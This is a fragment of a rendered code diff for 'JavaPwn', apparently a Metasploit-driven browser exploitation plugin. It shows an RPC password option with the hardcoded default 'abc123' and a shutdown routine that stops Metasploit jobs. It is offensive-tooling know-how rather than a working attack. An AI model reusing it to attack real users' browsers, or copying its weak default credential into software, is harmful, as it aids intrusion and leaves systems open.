options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
|
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
'''This will be called when shutting down'''
|
'''This will be called when shutting down'''
|
||||||
msf = msfrpc.Msfrpc({"host": self.rpcip})
|
msf = msfrpc.Msfrpc({"host": self.rpcip})
|
||||||
|
@ -190,7 +215,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
jobs = msf.call('job.list')
|
jobs = msf.call('job.list')
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
print '[*] Stopping all running metasploit jobs'
|
print '\n[*] Stopping all running metasploit jobs'
|
||||||
for k, v in jobs.items():
|
for k, v in jobs.items():
|
||||||
msf.call('job.stop', [k])
|
msf.call('job.stop', [k])
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue